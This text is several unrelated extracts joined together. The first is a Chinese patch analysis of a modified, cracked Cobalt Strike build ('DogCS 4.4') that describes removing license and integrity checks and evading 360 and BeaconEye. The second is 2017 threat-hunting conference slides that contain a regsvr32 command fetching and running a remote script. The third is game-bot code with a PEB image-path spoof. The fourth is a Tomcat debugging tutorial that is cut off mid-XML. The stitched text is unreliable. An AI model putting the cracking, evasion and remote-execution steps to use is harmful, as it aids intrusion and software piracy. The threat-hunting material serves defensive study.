sleeve/screenshot.dll
sleeve/screenshot.x64.dll
其他
resources/credits.txt
resources/ua.txt
scripts/default.cna
最近某重要活动,安全娱乐圈⾥流传出来了⼀些图⽚,说某公鸡队的teamserver被登录了,然后beacon
全被删了。看截图是⽤的dogcs 4.4。
就凭这些就去吐槽别⼈开发的⼯具有后⻔,被反制全是开发⼯具的问题。。。真的麻了,婊⼦你要当,
牌坊你也要⽴。。。。
后⾯⼤佬直接发声明再也不公开dogcs系列了,好好的4.5就这么被埋没了,真的⽆语了。
声明
5
作为⼤佬的⼀名死灰级粉丝(没有⻅过⼤佬,但⼀直在分析⼤佬写的代码,偷学思路),笔者实在忍⽆
可忍,决定公开之前的dogcs 4.4 patch补丁分析笔记(这份笔记早在2周前就已经分析完了,本不打算公
开),为⼤佬声援⼀波,证实到底有没有放后⻔。分析花了有5天吧,业余时间就在分析。
社区内全是实实在在分享⼲货的⼤佬,投资⾃⼰,换来更多的回报,这⻔买卖并不亏。
加⼊我们的社区
6
github上看到巨佬发的DogCS_4.4,忍不住想去看下巨佬新增的代码是啥样⼦的。
⾸先便是拿原版的jar包与修改后的对⽐,diff结果显示以下⽂件存在变化。
aggressor/Aggressor.class
aggressor/AggressorClient.class
aggressor/browsers/Connect.class
aggressor/browsers/Sessions.class
aggressor/dialogs/AboutDialog.class
aggressor/dialogs/ConnectDialog.class
aggressor/headless/Start.class
aggressor/MultiFrame.class
aggressor/TabManager.class
aggressor/windows/BeaconConsole.class
aggressor/windows/CredentialManager.class
aggressor/windows/DownloadBrowser.class
aggressor/windows/FileBrowser.class
前⾔
⽂件对⽐
●
●
●
●
●
●
●
●
●
●
●
●
●
7
aggressor/windows/Files.class
aggressor/windows/KeystrokeBrowser.class
aggressor/windows/ScreenshotBrowser.class
aggressor/windows/SecureShellConsole.class
beacon/BeaconC2.class
beacon/BeaconData.class
beacon/BeaconHTTP.class
beacon/BeaconPayload.class
beacon/BeaconSetup.class
beacon/CommandBuilder.class
beacon/jobs/DesktopJob.class
beacon/TaskBeacon.class
beacon/TaskBeaconCallback.class
beacon/Tasks.class
c2profile/MalleableHook.class
c2profile/MalleableStager.class
cloudstrike/NanoHTTPD.class
cloudstrike/WebServer.class
common/AssertUtils.class
common/AuthCrypto.class
common/Authorization.class
common/BeaconEntry.class
common/CommonUtils.class
common/Download.class
common/Helper.class
common/License.class
common/ListenerConfig.class
common/LoggedEvent.class
common/MudgeSanity.class
common/Requirements.class
common/Starter.class
common/Starter2.class
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
8
common/TeamSocket.class
dns/AsymmetricCrypto.class
dns/BaseSecurity.class
server/Beacons.class
server/Listeners.class
server/ManageUser.class
server/Resources.class
server/ServerUtils.class
server/TeamServer.class
sleeve/beacon.dll
sleeve/beacon.x64.dll
sleeve/dnsb.dll
sleeve/dnsb.x64.dll
sleeve/extc2.dll
sleeve/extc2.x64.dll
sleeve/hashdump.dll
sleeve/hashdump.x64.dll
sleeve/mimikatz-chrome.x64.dll
sleeve/mimikatz-chrome.x86.dll
sleeve/mimikatz-full.x64.dll
sleeve/mimikatz-full.x86.dll
sleeve/mimikatz-min.x64.dll
sleeve/mimikatz-min.x86.dll
sleeve/pivot.dll
sleeve/pivot.x64.dll
sleeve/screenshot.dll
sleeve/screenshot.x64.dll
ssl/SecureServerSocket.class
ssl/SecureSocket.class
stagers/BeaconBindStagerX64.class
stagers/BeaconBindStagerX86.class
stagers/BeaconDNSStagerX86.class
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
9
stagers/BeaconHTTPSStagerX64.class
stagers/BeaconHTTPSStagerX86.class
stagers/BeaconHTTPStagerX64.class
stagers/BeaconHTTPStagerX86.class
stagers/BeaconPipeStagerX86.class
stagers/ForeignHTTPSStagerX86.class
stagers/ForeignHTTPStagerX86.class
stagers/ForeignReverseStagerX64.class
stagers/ForeignReverseStagerX86.class
stagers/GenericBindStager.class
stagers/GenericDNSStagerX86.class
stagers/GenericHTTPSStagerX64.class
stagers/GenericHTTPSStagerX86.class
stagers/GenericHTTPStager.class
stagers/GenericHTTPStagerX64.class
stagers/GenericHTTPStagerX86.class
stagers/GenericStager.class
stagers/Stagers.class
resources/credits.txt
resources/ua.txt
resources/winvnc.x64.dll
resources/winvnc.x86.dll
scripts/default.cna
修改内容:
修改Version信息
修改UI⻛格,改为FlatIntelliJLaf
删除CS的⽂件完整性校验
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
JAVA端
aggressor/Aggressor.class
●
●
●
10
原版:
修改版:
修改内容: 客户端界⾯显示的标题
原版:
aggressor/AggressorClient.class
11
修改版:
修改内容:
修改连接按钮标题
修改帮助按钮标题,点击后弹出changelog
原版:
修改版:
修改内容:
修复修改UI⻛格之后 JTable渲染Icon的bug
aggressor/browsers/Connect.class
●
●
aggressor/browsers/Sessions.class
●
12
在界⾯上添加所有Beacon和在线Beacon元素
原版:
修改版:
●
13
修改内容:
修改Logo图⽚
修改creds.txt⾥的致谢信息,并⽤bUTF8String函数加载
原版:
修改版:
aggressor/dialogs/AboutDialog.class
●
●
14
修改内容:
修改连接TeamServer窗⼝的标题信息
修改新建连接Profile界⾯的提示标题信息和默认的账号、密码、端⼝
删除HostNames、Alias Names按钮,增加Readme.md按钮
原版:
aggressor/dialogs/ConnectDialog.class
●
●
●
15
修改版:
16
修改内容: ⽆任何修改,编译器编译差异导致
修改内容: ⽆任何修改,编译器编译差异导致
修改内容: ⽆任何修改,编译器编译差异导致
修改内容: 新增whoami、cat命令
aggressor/headless/Start.class
aggressor/MultiFrame.class
aggressor/TabManager.class
aggressor/windows/BeaconConsole.class
17
原版:
修改版:
修改内容: 删除暗桩
原版:
aggressor/windows/CredentialManager.class
18
修改版:
修改内容: 修改下载⽂件管理⻚⾯的显示元素的顺序。
原版:
修改版:
修改内容: ⽆任何修改,编译器编译差异导致
修改内容: ⽆任何修改,编译器编译差异导致
aggressor/windows/DownloadBrowser.class
aggressor/windows/FileBrowser.class
aggressor/windows/Files.class
19
修改内容: 删除暗桩。
原版:
修改版:
修改内容: 删除暗桩。
原版:
修改版:
aggressor/windows/KeystrokeBrowser.class
aggressor/windows/ScreenshotBrowser.class
20
修改内容: 新增Cat命令
原版:
修改版:
aggressor/windows/SecureShellConsole.class
beacon/BeaconC2.class
21
修改内容: 删除⽂件完整性检测。
原版:
修改版:
修改内容: 修改shouldPad属性为false
原版:
beacon/BeaconData.class
22
修改版:
修改内容: 删除了NULL jitter task的构造函数
原版:
beacon/BeaconHTTP.class
23
修改版:
修改内容: 修改配置信息的异或密钥
原版:
beacon/BeaconPayload.class
24
修改版:
修改内容: 编译器差异,⽆变化。
修改内容:
删除暗桩
修改命令⽣成逻辑
原版:
beacon/BeaconSetup.class
beacon/CommandBuilder.class
●
●
25
修改版:
beacon/jobs/DesktopJob.class
26
修改内容: 编译器差异,⽆变化。
修改内容:
修改Desktop、Hashdump、Screenshot、Logonpasswords的注⼊⾏为,由spawn改为注⼊⾃身所
在进程,绕过360核晶
新增whoami、cat命令处理函数
原版:
beacon/TaskBeacon.class
●
●
27
修改版:
28
修改内容: 新增cat命令的命令执⾏处理回调
修改版:
beacon/TaskBeaconCallback.class
29
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 删除CS HTTP server this.sendError默认返回的状态提示信息。
原版:
beacon/Tasks.class
c2profile/MalleableHook.class
c2profile/MalleableStager.class
cloudstrike/NanoHTTPD.class
30
修改版:
修改内容:
修改URI checksum8编码的值
patch 信息泄露漏洞CVE-2022-23317
原版:
cloudstrike/WebServer.class
●
●
31
修改版:
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 静态patch验证信息,设置解密密钥,完成破解。
原版:
common/AssertUtils.class
common/AuthCrypto.class
common/Authorization.class
32
修改版:
修改内容: 编译器差异,没有变化。
common/BeaconEntry.class
33
修改内容:
新增bUTF8String函数
修改从resource当中读取cobaltstrike.auth
原版:
修改版:
修改内容: 编译器差异,没有变化。
common/CommonUtils.class
●
●
common/Download.class
common/Helper.class
34
修改内容: 删除⽂件完整性校验代码。
原版:
修改版:
修改内容: 编译器差异,没有变化。
修改内容: 删除添加反病毒特征代码。
原版:
common/License.class
common/ListenerConfig.class
35
修改版:
修改内容: 修改beacon初始回连时,在eventconsole界⾯显示的信息。
原版:
修改版:
common/LoggedEvent.class
36
修改内容:
修改读取beacon返回数据错误提示信息
修改授权信息
取消返回数据10240⻓度的限制
原版:
common/MudgeSanity.class
●
●
●
37
修改版:
38
39
修改内容: 删除判断系统启动环境。
原版:
修改版:
common/Requirements.class
40
修改内容: 删除⽂件完整性校验不通过退出的暗桩。
原版:
修改版:
修改内容: 删除⽂件完整性校验不通过退出的暗桩。
原版:
common/Starter.class
common/Starter2.class
41
修改版:
修改内容: 未完成开发的代码,没有什么实质性作⽤。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容:
common/TeamSocket.class
dns/AsymmetricCrypto.class
dns/BaseSecurity.class
server/Beacons.class
server/Listeners.class
server/ManageUser.class
42
新增getResources⽅法
修改winvnc dll的路径
原版:
修改版:
修改内容:
删除⽂件完整性校验暗桩
新增getTranscripts⽅法
原版:
●
●
server/Resources.class
●
●
43
修改版:
修改内容: 编译器差异,没有变化。
修改内容: 删除⽂件完整性校验暗桩。
原版:
修改版:
修改内容: 修改TeamServer登录时服务端校验的头标志位。
原版:
server/ServerUtils.class
server/TeamServer.class
ssl/SecureServerSocket.class
44
修改版:
修改内容: 修改TeamServer登录时客户端发送的校验头标志位。
原版:
修改版:
修改内容: 编译器差异,没有变化。
ssl/SecureSocket.class
stagers/BeaconBindStagerX64.class
stagers/BeaconBindStagerX86.class
45
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 修改URI的结果为DogCsDogCs.js。
原版:
stagers/BeaconDNSStagerX86.class
stagers/BeaconHTTPSStagerX64.class
stagers/BeaconHTTPSStagerX86.class
stagers/BeaconHTTPStagerX64.class
stagers/BeaconHTTPStagerX86.class
stagers/BeaconPipeStagerX86.class
stagers/ForeignHTTPSStagerX86.class
46
修改版:
修改内容: 修改URI的结果为DogCsDogCs.js。
原版:
修改版:
修改内容: 编译器差异,没有变化。
stagers/ForeignHTTPStagerX86.class
stagers/ForeignReverseStagerX64.class
47
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
修改内容: 编译器差异,没有变化。
stagers/ForeignReverseStagerX86.class
stagers/GenericBindStager.class
stagers/GenericDNSStagerX86.class
stagers/GenericHTTPSStagerX64.class
stagers/GenericHTTPSStagerX86.class
stagers/GenericHTTPStager.class
stagers/GenericHTTPStagerX64.class
stagers/GenericHTTPStagerX86.class
stagers/GenericStager.class
stagers/Stagers.class
48
修改内容: 编译器差异,没有变化。
该DLL与外部third-party⽬录下的vnc dll相同。
该DLL与外部third-party⽬录下的vnc dll相同。
bypass beaconEye
修改XOR key
同beacon.dll。
同beacon.dll。
DLL端
resources/winvnc.x64.dll
resources/winvnc.x86.dll
sleeve/beacon.dll
●
●
sleeve/beacon.x64.dll
sleeve/dnsb.dll
49
同beacon.dll。
同beacon.dll。
同beacon.dll。
修改动态加载的⽬的函数,从CorExitProcess改为CorExitThread
修改导⼊表ExitProcess为ExitThread
sleeve/dnsb.x64.dll
sleeve/extc2.dll
sleeve/extc2.x64.dll
sleeve/hashdump.dll
●
●
50
51
同hashdump.dll。
同hashdump.dll。
同hashdump.dll。
sleeve/hashdump.x64.dll
sleeve/mimikatz-chrome.x64.dll
sleeve/mimikatz-chrome.x86.dll
sleeve/mimikatz-full.x64.dll
52
同hashdump.dll。
同hashdump.dll。
同hashdump.dll。
同hashdump.dll。
同beacon.dll。
同beacon.dll。
同hashdump.dll。
同hashdump.dll。
修改内容: 修改原来的致谢信息,改为⾃⼰定义的修改的特性列表。
原版:
sleeve/mimikatz-full.x86.dll
sleeve/mimikatz-min.x64.dll
sleeve/mimikatz-min.x86.dll
sleeve/pivot.dll
sleeve/pivot.x64.dll
sleeve/screenshot.dll
sleeve/screenshot.x64.dll
其他
resources/credits.txt
53
修改版:
修改内容: 修改默认CS⽣成Stager、Beacon的UA头,改为⾃定义UA头
原版:
修改版:
resources/ua.txt
54
修改内容: 新增FindAv插件
原版:
修改版:
scripts/default.cna
55 | pdf |
PUBLIC
THREAT HUNTING,
THE NEW WAY
HITCON PACIFIC 2017
In Ming, Wei Chea
PUBLIC
INTRO
1
In Ming
(胤銘)
Loves
MMA
Wei Chea
(偉傑)
Loves diving
& my dog
½ Taiwanese
PUBLIC
We are not involved in ALL the information we are sharing today.
Many of the information (use cases, tools) we going to discuss are made
possible by a group of very dedicated people in Countercept and the
security community.
2
DISCLAIMER
PUBLIC
• What is threat hunting?
• People, Process, Technology
• Case Study
• How to start threat hunting
• Q & A
3
AGENDA
PUBLIC
WHAT IS THREAT
HUNTING?
PUBLIC
5
“THREAT HUNTING”
•
IP, Domain or Hash
Search
•
Hunting on the
darknet or Internet
•
Endpoint Detection &
Response (EDR) =
Threat Hunting!?
•
Automated Threat Hunting!?
PUBLIC
First discussed in mid 2000s
by NSA/US Airforce.
Definition of hunting in
The US Army LandCyber White
Paper released in 2013
THREAT HUNTING
6
“cyber hunt teams will work inside
the Army enterprise to actively
search for and locate threats that
have penetrated the Army
enterprise, but not yet manifested
their intended effects.”
“Counter-reconnaissance, or hunt forces, will
work within Army networks to maneuver, secure,
and defend key cyberspace terrain, identifying
and defeating concealed cyber adversaries that
have bypassed the primary avenues of approach
monitored by automated systems”.
http://dtic.mil/dtic/tr/fulltext/u2/a592724.pdf
PUBLIC
7
THREAT HUNTING (威脅獵捕)
•
“work inside the Army enterprise to actively search” (專注內部主動搜索)
•
“locate threats that have penetrated the Army enterprise” (偵測已經侵入
的威脅)
•
“bypassed the primary avenues of approach monitored by automated
systems” (逃避自動式的偵測系統)
PUBLIC
PEOPLE, PROCESS,
TECHNOLOGY.. AGAIN?!
PUBLIC
•
Assume breach mind-set
•
Go beyond the technology
•
Offensive or/and Defensive knowledge
(Incident Response, Penetration
Tester, SOC, Sys Admin etc)
9
PEOPLE
•
Not reserved for Level 3 or the ‘best’
•
Research / Innovation Time
–
Use Case / Hypothesis Generation
•
Threat Hunting 101 – Become The
Hunter
PUBLIC
•
Senior Management (CIO/CISO)
•
Data Protection Office, Governance, Legal
•
The other security teams (SOC, Incident Response)
10
PEOPLE
PUBLIC
•
Existing Processes (SIM, Data Privacy, Data Logging,
Incident Response etc)
•
Obtaining new log sources
•
Use Case Generation
•
Hunt Investigation
•
Measuring Success
11
PROCESS
PUBLIC
Multiple reflective dll injections
12
PROCESS – HUNT INVESTIGATION
PUBLIC
•
What Investigation rights for your threat hunters?
•
Do they escalate to IR for further investigation?
•
Can your IR start investigation without a confirmed incident?
•
Will this overload your IR?
13
PROCESS – HUNT INVESTIGATION
•
Recommendation:
Provide certain investigation capability to your hunt
team
Hash check, process dump, memory dump or file capture
Part of your internal team
PUBLIC
14
PROCESS
PUBLIC
VERY IMPORTANT!
•
Don’t measure by the # of threats found…
•
What factors to measure success?
Mean Time to Detect
Find Suspicious -> Confirmed it
is malicious
Severity of the findings
•
Repeated findings & false positive
15
PROCESS – MEASURING SUCCESS
PUBLIC
•
Least Important… for the start
•
Understand what data are available (Endpoint, Network, Application)
•
Configuration Management, Continuous Delivery
Chef, Puppet
Use Case Development
AUTOMATION!
•
Technology Stack
Endpoint (GRR, Sysmon, Windows
Event Logs, osquery, Mozilla InvestiGator)
Network (BRO, Suricata)
Data Store (ELK, Splunk)
16
TECHNOLOGY
PUBLIC
17
HOW WE ARE DOING IT
Network IDS
Network Traffic Analysis
Event Log Correlation
Alerting
Memory Analysis
Persistence
Process Monitoring
Offline Monitoring
File Analysis
Forensic Artefacts
Dynamic Tool Update
Endpoint
Log Analysis
Network
Traffic Analysis
Threat Hunting
THE PARIS MODEL
PUBLIC
People
Technology
Process
THE PARIS MODEL
AUTOMATED
NOTIFICATION
‘HUNTING USE CASE’
GENERATION (HYPOTHESIS)
1
2
3
4
Confidence
10%
40%
80%
99%
Tactical Threat intel
Capability
Use Case
Execution
Automation
PUBLIC
CASE STUDY 1
PUBLIC
21
CASE STUDY 1:
ENTERPRISE RANSOMWARE
PUBLIC
22
CASE STUDY 1:
ENTERPRISE RANSOMWARE
Background
•
Global Company
•
Approx. USD$ 133 million turnover last year
PUBLIC
CASE STUDY 1:
ENTERPRISE RANSOMWARE
23
Delivery
Exploitation
C2
Priv.
Escalation
Lateral
Movement
Objective
First
Delivery
Second
Delivery
Lateral
Movement
More Lateral
Movement
‘Ransomware’
deployed
PUBLIC
CASE STUDY 1:
ENTERPRISE RANSOMWARE
24
PUBLIC
CASE STUDY 1:
ENTERPRISE RANSOMWARE
25
Delivery
Exploitation
C2
Priv.
Escalation
Lateral
Movement
Objective
First
Delivery
Second
Delivery
Lateral
Movement
More Lateral
Movement
‘Ransomware’
deployed
PUBLIC
26
CASE STUDY 1:
ENTERPRISE RANSOMWARE
PUBLIC
27
CASE STUDY 1:
ENTERPRISE RANSOMWARE
PUBLIC
Delivery
Exploitation
C2
Priv.
Escalation
Lateral
Movement
Objective
First
Delivery
Second
Delivery
Lateral
Movement
More Lateral
Movement
‘Ransomware’
deployed
CASE STUDY 1:
ENTERPRISE RANSOMWARE
28
PUBLIC
29
CASE STUDY 1:
ENTERPRISE RANSOMWARE
PUBLIC
30
CASE STUDY 1:
ENTERPRISE RANSOMWARE
PUBLIC
So what do we do???
•
Agents needs to be deployed FAST!!!!
•
Start monitor:
Process memory
Registry
Process Execution
Autoruns and Scheduled Tasks
Etc…
But is this enough???
•
I don’t think so
So what do you do then?
CASE STUDY 1:
ENTERPRISE RANSOMWARE
31
PUBLIC
32
CASE STUDY 1:
ENTERPRISE RANSOMWARE
CASE STUDY 1:ENTERPRISE RANSOMWARE
People
Technology
Process
AUTOMATED NOTIFICATION
‘HUNTING USE CASE’
GENERATION (HYPOTHESIS)
1
2
3
4
Confidence
10%
40%
80%
99%
Tactical Threat intel
Capability
Use Case
Execution
Automation
PUBLIC
CASE STUDY 2
PUBLIC
35
CASE STUDY 2:
INSIDER THREAT
http://www.verizonenterprise.com/resources/reports/
rp_DBIR_2017_Report_en_xg.pdf
PUBLIC
36
CASE STUDY 2:
INSIDER THREAT
Background
•
Global Company
•
Approx. USD$ 799 million turnover last year
•
Approx. 70,000 endpoints
PUBLIC
37
CASE STUDY 2:
INSIDER THREAT
“%userprofile%\appdata\roaming\Microsoft\windows\start
menu\programs\startup\i tunes.exe
“%programdata%\Microsoft\windows\start menu\
programs\startup\bstack.exe”
PUBLIC
38
CASE STUDY 2:
INSIDER THREAT
“%userprofile%\appdata\roaming\Microsoft\windows\start
menu\programs\startup\i tunes.exe”
Why am I suspicious?
•
Supposed to be “itunes.exe”
•
Is “itunes.exe” in user startup folder usually?
•
Host count is really low for such a popular program.
•
And never seen by VT before!!!
PUBLIC
39
CASE STUDY 2:
INSIDER THREAT
Why am I suspicious?
•
Do I know you publicly “bstack.exe”? (Likely not because of VT)
•
Are you some custom program?
•
But why your host count is so freaking low? 2 in 70,000!!!
“%programdata%\Microsoft\windows\start menu\
programs\startup\bstack.exe”
PUBLIC
40
CASE STUDY 2:
INSIDER THREAT
“%userprofile%\appdata\roaming\Microsoft\windows\start
menu\programs\startup\i tunes.exe
“%programdata%\Microsoft\windows\start menu\
programs\startup\bstack.exe”
PUBLIC
41
CASE STUDY 2:
INSIDER THREAT
People
Technology
Process
AUTOMATED NOTIFICATION
‘HUNTING USE CASE’
GENERATION (HYPOTHESIS)
1
2
3
4
Confidence
10%
40%
80%
99%
Tactical Threat intel
Capability
CASE STUDY 2:
INSIDER THREAT
Use Case
Execution
Automation
PUBLIC
CASE STUDY 3
PUBLIC
44
CASE STUDY 3:
FILELESS MALWARE
PUBLIC
What is fileless malware/in-memory attack?
•
Resides in RAM
•
Inject into: Running processes or suspended processes,
(Usually well known)
Few ways to be “invisible”:
•
IAT/EAT hooking
•
Inline hooking
•
Reflective load
•
APC injection
•
Process hollowing
How are you AV?
CASE STUDY 3:
FILELESS MALWARE
45
PUBLIC
In-Memory Attack
46
CASE STUDY 3:
FILELESS MALWARE
•
Securi-Tay 2017 - Advanced Attack Detection
•
Taking Hunting to the Next Level: Hunting in Memory - SANS Threat
Hunting Summit 2017
Suspicious Threads
PUBLIC
CASE STUDY 3:
FILELESS MALWARE
47
https://lyndseyreneephotography.files.wordpress.com/2011/05/img_5916editname.jpg
http://cdn.newsapi.com.au/image/v1/1f5388a9571cf7f7022158aee1726ced
CASE STUDY 3:FILELESS MALWARE
People
Technology
Process
AUTOMATED NOTIFICATION
‘HUNTING USE CASE’
GENERATION (HYPOTHESIS)
1
2
3
4
Confidence
10%
40%
80%
99%
Tactical Threat intel
Capability
Use Case
Execution
Automation
PUBLIC
CASE STUDY 4
PUBLIC
50
CASE STUDY 4:
HUNT OF THE DAY
What is HOTD?
•
Important aspect of threat hunting
•
Latest findings
•
Agents go work now!
Why HOTD?
•
Detect and respond to threat (Unknown to you)
PUBLIC
51
CASE STUDY 4:
HUNT OF THE DAY
PUBLIC
regsvr32.exe /s /n /u /i:”C:\xxxxxxxxx” scrobj.dll
regsvr32.exe /s /n /u /i:http://xxx.xxx.xxx.xxx/hello.sct scrobj.dll
52
CASE STUDY 4:
HUNT OF THE DAY
People
Technology
Process
AUTOMATED NOTIFICATION
‘HUNTING USE CASE’
GENERATION (HYPOTHESIS)
1
2
3
4
Confidence
10%
40%
80%
99%
Tactical Threat intel
Capability
CASE STUDY 4:
HUNT OF THE DAY
Use Case
Execution
Automation
PUBLIC
GETTING
STARTED
PUBLIC
55
HOW TO START
•
Start small, Dream big
•
Work with what you have
– People (Hunt Sprint)
– Process
– Technology
•
Go for the low hanging fruit first..
•
Getting the budget -> DBIR/Equifax
•
MITRE ATT&CK™
PUBLIC
• Threat Hunting should be part of your detection strategy
• Anyone can start threat hunting
• Establish the PEOPLE, PROCESS then technology
CONCLUSION
56
PUBLIC
57
REFERENCE
Threat Hunting 101 – Become The Hunter
https://youtu.be/vmVE2PCVwHU
Securi-Tay 2017 - Advanced Attack Detection
https://youtu.be/ihElrBBJQo8
Taking Hunting to the Next Level: Hunting in Memory - SANS Threat
Hunting Summit 2017
https://youtu.be/EVBCoV8lpWc
Github: Python Exe Unpacker
https://github.com/countercept/python-exe-unpacker
QUESTIONS?
问题?
@countercept
In Ming ([email protected])
Wj ([email protected]) | pdf |
void fake_image_path(WCHAR *img_path) {
__asm {
// PEB
mov eax, fs:[0x30]
// _RTL_USER_PROCESS_PARAMETERS
mov eax, [eax+0x010]
// ImagePathName.Buffer
add eax, 0x3C
push img_path
pop [eax]
}
}
int main()
{
HWND game = FindWindow(NULL, "MapleStory");
while(true)
{
PostMessage(game, WM_KEYDOWN, VK_CONTROL, 0);
PostMessage(game, WM_KEYUP, VK_CONTROL, 0);
}
}
void PressKey(long KeyCode)
{
unsigned char scan_code =
MapVirtualKey(KeyCode, 0);
PostMessage(MSHWND, WM_KEYDOWN, KeyCode,
0x0000001 | scan_code << 16);
PostMessage(MSHWND, WM_KEYUP , KeyCode,
0xC000001 | scan_code << 16);
}
lParam | pdf |
tomcat整体架构和处理请求的流程
tomcat源码调试
以 tomcat8.5.68 为例
首先下载tomcat源代码:tomcat8
创建资源文件目录。在任意文件夹下可以创建一个文件夹,用于存放配置文件,站点信息等。我创
建的 catalina_home
新建pom.xml,使用maven管理项目,导入调试所需要的依赖包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat8.5.38</artifactId>
<name>Tomcat8.5.38</name>
<version>8.5</version>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.5.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant-apache-log4j</artifactId>
<version>1.6.5</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant-commons-logging</artifactId>
<version>1.6.5</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml.rpc</groupId>
<artifactId>javax.xml.rpc-api</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.6.1</version>
</dependency>
</dependencies>
<build>
<finalName>Tomcat8.5</finalName>
<sourceDirectory>java</sourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.5</version>
<configuration>
<encoding>UTF-8</encoding>
使用IDEA导入项目
<source>${java.version}</source>
<target>${java.version}</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
配置一个允许环境,新建一个Application
设置java版本和tomcat入口
配置VM options
运行项目
ps:运行时会出现一个空指针异常的报错,需要手动添加如上代码。原因竟然是jsp的编译器没有
初始化,我们只需要在 apache-tomcat-8.5.38-
src\java\org\apache\catalina\startup\ContextConfig.java 类中只需添加一句代码即可手
动初始化:
-Dcatalina.home=D:\\Java\\tomcat\\apache-tomcat-8.5.68-src\\catalina_home
-Dcatalina.base=D:\\Java\\tomcat\\apache-tomcat-8.5.68-src\\catalina_home
-Djava.endorsed.dirs=D:\\Java\\tomcat\\apache-tomcat-8.5.68-
src\\catalina_home\\endorsed
-Djava.io.tmpdir=D:\\Java\\tomcat\\apache-tomcat-8.5.68-src\\catalina_home\\temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=D:\\Java\\tomcat\\apache-tomcat-8.5.68-
src\\catalina_home\\conf\\logging.properties
context.addServletContainerInitializer(new JasperInitializer(),null)
tomcat架构图解
除了 Connector 组件和 container 组件,tomcat还定义了很多其他组件来工作( server-service-
connector/container-engine-host-context-wrapper ),这些组件采用套娃的方式设计,如果一个
组件包含了其他组件,那么这个组件也称之为容器
<?xml version='1.0' encoding='utf-8'?>
<Server port="8005" shutdown="SHUTDOWN">
<Listener className="org.apache.catalina.startup.VersionLoggerListener" />
<Listener className="org.apache.catalina.core.AprLifecycleListener"
SSLEngine="on" />
配置完成的项目地址
server:Server容器代表一个Tomcat实例(Catalina实例),其下可以有一个或者多个Service容
器;
Service:Service是提供具体对外服务的,一个Service容器中又可以有多个Connector组件(监听不
同端口请求,解析请求)和一个servlet容器(做具体的业务逻辑处理)
Engine和Host:Engine组件(引擎)是servlet容器catalina的核心,它支持在其下定义多个虚拟主
机(Host),虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名。
Context:每个虚拟主机又可以支持多个Web应用部署在下面,这就是我们所熟知的上下文对象
Context,上下文是使用由servlet规范中指定的Web应用程序格式表示,不论是压缩过的war包还是未压
缩的目录形式
Wrapper:在上下文中又可以部署多个servlet,并且每个servlet都会被一个包装组件(Wrapper)
所包含
添加一个测试用Servlet
web.xml 配置:
<Listener className="org.apache.catalina.core.JasperListener" />
<Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener"
/>
<Listener
className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
<Listener
className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
<GlobalNamingResources>
<Resource name="UserDatabase" auth="Container"
type="org.apache.catalina.UserDatabase"
description="User database that can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" />
</GlobalNamingResources>
<Service name="Catalina">
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<Engine name="Catalina" defaultHost="localhost">
<Realm className="org.apache.catalina.realm.LockOutRealm">
<Realm className="org.apache.catalina.realm.UserDatabaseRealm"
resourceName="UserDatabase"/>
</Realm>
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<Valve className="org.apache.catalina.valves.AccessLogValve"
directory="logs"
prefix="localhost_access_log." suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
</Service>
</Server>
tomcat启动过程之init 源码剖析
<servlet>
<servlet-name>resumeservlet</servlet-name>
<servlet-class>lagou.edu.servlet.ResumeServlet</servlet-class> <!--此处的
地址应该是当前tomcat项目的资源目录-->
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>resumeservlet</servlet-name>
